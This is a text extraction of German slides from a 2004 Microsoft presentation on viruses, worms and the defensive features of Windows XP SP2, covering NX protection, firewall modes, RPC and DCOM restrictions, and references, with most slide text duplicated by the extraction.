Execution Protection (no-execute, NX)Speicher wird als Datenspeicher markiertDer Versuch, im NX-Bereich Code auszuführen führt zu einer ExceptionMuß von Hardware unterstützt werden

Execution Protection (no-execute, NX)Speicher wird als Datenspeicher markiertDer Versuch, im NX-Bereich Code auszuführen führt zu einer ExceptionMuß von Hardware unterstützt werden

Page 43: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Internet Connection FirewallInternet Connection FirewallAb SP2 ist die ICF “ON by default”

Boot time protectionVerbesserte Konfigurationsmöglichkeiten

Group Policy, KommandozeileVerbesserte BenutzeroberflächeProgrammatisch: INetFwV4AuthorizedApplication, INetFwV4AuthorizedApplications, INetFwV4Mgr, INetFwV4Policy, INetFwV4Profile

Ab SP2 ist die ICF “ON by default” Boot time protectionVerbesserte Konfigurationsmöglichkeiten

Group Policy, KommandozeileVerbesserte BenutzeroberflächeProgrammatisch: INetFwV4AuthorizedApplication, INetFwV4AuthorizedApplications, INetFwV4Mgr, INetFwV4Policy, INetFwV4Profile

Page 44: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Internet Connection Firewall IIInternet Connection Firewall IIDrei Betriebsmodi

Aktiviert (Standard)Alle eingehende Verbindungen werden blockiert, Ausnahme: Für in einer „White List“ erfasste Programme werden Ports bei Bedarf geöffnetAktiviert - keine Ausnahmen„Shielded Mode“, es werden keine eingehenden Verbindungen zugelassenDeaktiviert

Drei BetriebsmodiAktiviert (Standard)Alle eingehende Verbindungen werden blockiert, Ausnahme: Für in einer „White List“ erfasste Programme werden Ports bei Bedarf geöffnetAktiviert - keine Ausnahmen„Shielded Mode“, es werden keine eingehenden Verbindungen zugelassenDeaktiviert

Page 45: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Windows XP SP2 – Weitere ÄnderungenWindows XP SP2 – Weitere Änderungen

Unterbindung von anonymen RPC-AufrufenNeuer Registry-Key steuert das Verhalten: \\HKLM\SOFTWARE\Policies\Microsoft\Windows NT\RPC\RestrictRemoteClients

RPC_RESTRICT_REMOTE_CLIENT_NONE (0) – bisheriges VerhaltenRPC_RESTRICT_REMOTE_CLIENT_DEFAULT (1) – Anonyme Zugriffe werden zurückgewiesen. StandarteinstellungRPC_RESTRICT_REMOTE_CLIENT_HIGH (2) – genauso wie zuvor, mit der Ausnahme, daß das RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH flag keine Wirkung mehr hat.

DCOM: Globale Konfiguration von ZugriffsrechtenDie meisten lokalen Szenarien funktionieren ohne ÄnderungRemote: Nur Administratoren haben by default das Recht Applikationen zu aktivieren (Activation) und zu starten (Launch)

Unterbindung von anonymen RPC-AufrufenNeuer Registry-Key steuert das Verhalten: \\HKLM\SOFTWARE\Policies\Microsoft\Windows NT\RPC\RestrictRemoteClients

RPC_RESTRICT_REMOTE_CLIENT_NONE (0) – bisheriges VerhaltenRPC_RESTRICT_REMOTE_CLIENT_DEFAULT (1) – Anonyme Zugriffe werden zurückgewiesen. StandarteinstellungRPC_RESTRICT_REMOTE_CLIENT_HIGH (2) – genauso wie zuvor, mit der Ausnahme, daß das RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH flag keine Wirkung mehr hat.

DCOM: Globale Konfiguration von ZugriffsrechtenDie meisten lokalen Szenarien funktionieren ohne ÄnderungRemote: Nur Administratoren haben by default das Recht Applikationen zu aktivieren (Activation) und zu starten (Launch)

Page 46: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Was tun, wenn nichts mehr geht?Was tun, wenn nichts mehr geht?

“Security is designed to make your system not work” (Michael

Howard)

Page 47: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

FazitFazit

Viele Viren benutzen einfache Mechanismen um sich zu Systemen Zugang zu verschaffenDurch gezielte Maßnahmen kann die Anfälligkeit einer Applikation bzw. eines Systems deutlich gesenkt werden

Viele Viren benutzen einfache Mechanismen um sich zu Systemen Zugang zu verschaffenDurch gezielte Maßnahmen kann die Anfälligkeit einer Applikation bzw. eines Systems deutlich gesenkt werden

Page 48: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

© 2004 Microsoft Corporation. All rights reserved.© 2004 Microsoft Corporation. All rights reserved.This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Page 49: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

ReferenzenReferenzen

Marshall Brain: “How Stuff Works: Computer Viruses”http://www.howstuffworks.com/virus.htmUlf Larson: „VBS.LoveLetter: A Study of the LoveLetter worm“http://www.ce.chalmers.se/undergraduate/D/EDA261/03/oh03/oh_F05_loveletter_4pp.pdf

Marshall Brain: “How Stuff Works: Computer Viruses”http://www.howstuffworks.com/virus.htmUlf Larson: „VBS.LoveLetter: A Study of the LoveLetter worm“http://www.ce.chalmers.se/undergraduate/D/EDA261/03/oh03/oh_F05_loveletter_4pp.pdf

Page 50: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

ReferenzenReferenzen

Slipstick Systems : „Protecting Microsoft Outlook against Viruses“http://www.slipstick.com/outlook/antivirus.htmBill Gates: „Microsoft Progress Report: Security“ http://www.microsoft.com/mscorp/execmail/2004/03-31security-print.asp

Slipstick Systems : „Protecting Microsoft Outlook against Viruses“http://www.slipstick.com/outlook/antivirus.htmBill Gates: „Microsoft Progress Report: Security“ http://www.microsoft.com/mscorp/execmail/2004/03-31security-print.asp

Page 51: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

ReferenzenReferenzen

PC World: "When Love Came to Town: A Virus Investigation“http://www.pcworld.com/news/article/0,aid,33392,00.aspXP Service Pack 2 for Developershttp://msdn.microsoft.com/security/productinfo/xpsp2/default.aspx

PC World: "When Love Came to Town: A Virus Investigation“http://www.pcworld.com/news/article/0,aid,33392,00.aspXP Service Pack 2 for Developershttp://msdn.microsoft.com/security/productinfo/xpsp2/default.aspx

Page 52: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

ReferenzenReferenzen

Microsoft Developer Security Centerhttp://msdn.microsoft.com/security/Microsoft Security Centerhttp://www.microsoft.com/security/Compiler Security Checks in Depthhttp://msdn.microsoft.com/library/en-us/dv_vstechart/html/vctchcompilersecuritychecksindepth.asp

Microsoft Developer Security Centerhttp://msdn.microsoft.com/security/Microsoft Security Centerhttp://www.microsoft.com/security/Compiler Security Checks in Depthhttp://msdn.microsoft.com/library/en-us/dv_vstechart/html/vctchcompilersecuritychecksindepth.asp

Page 53: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

ReferenzenReferenzen

Microsoft Baseline Security Analyzerhttp://www.microsoft.com/technet/security/tools/mbsahome.mspxMicrosoft Compatibility Toolkit (Application Verifier)http://www.microsoft.com/downloads/details.aspx?FamilyID=7fc46855-b8a4-46cd-a236-3159970fde94&displaylang=enfxCophttp://www.gotdotnet.com/team/fxcop/

Microsoft Baseline Security Analyzerhttp://www.microsoft.com/technet/security/tools/mbsahome.mspxMicrosoft Compatibility Toolkit (Application Verifier)http://www.microsoft.com/downloads/details.aspx?FamilyID=7fc46855-b8a4-46cd-a236-3159970fde94&displaylang=enfxCophttp://www.gotdotnet.com/team/fxcop/

Page 54: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

ReferenzenReferenzen

Developing Software with Non-Administrative privilegeshttp://msdn.microsoft.com/library/en-us/dv_vstechart/html/tchdevelopingsoftwareinvisualstudionetwithnon-administrativeprivileges.asp West Virginia Office for Mine Safety: Historic Photoshttp://www.wvminesafety.org/histphoto.html

Developing Software with Non-Administrative privilegeshttp://msdn.microsoft.com/library/en-us/dv_vstechart/html/tchdevelopingsoftwareinvisualstudionetwithnon-administrativeprivileges.asp West Virginia Office for Mine Safety: Historic Photoshttp://www.wvminesafety.org/histphoto.html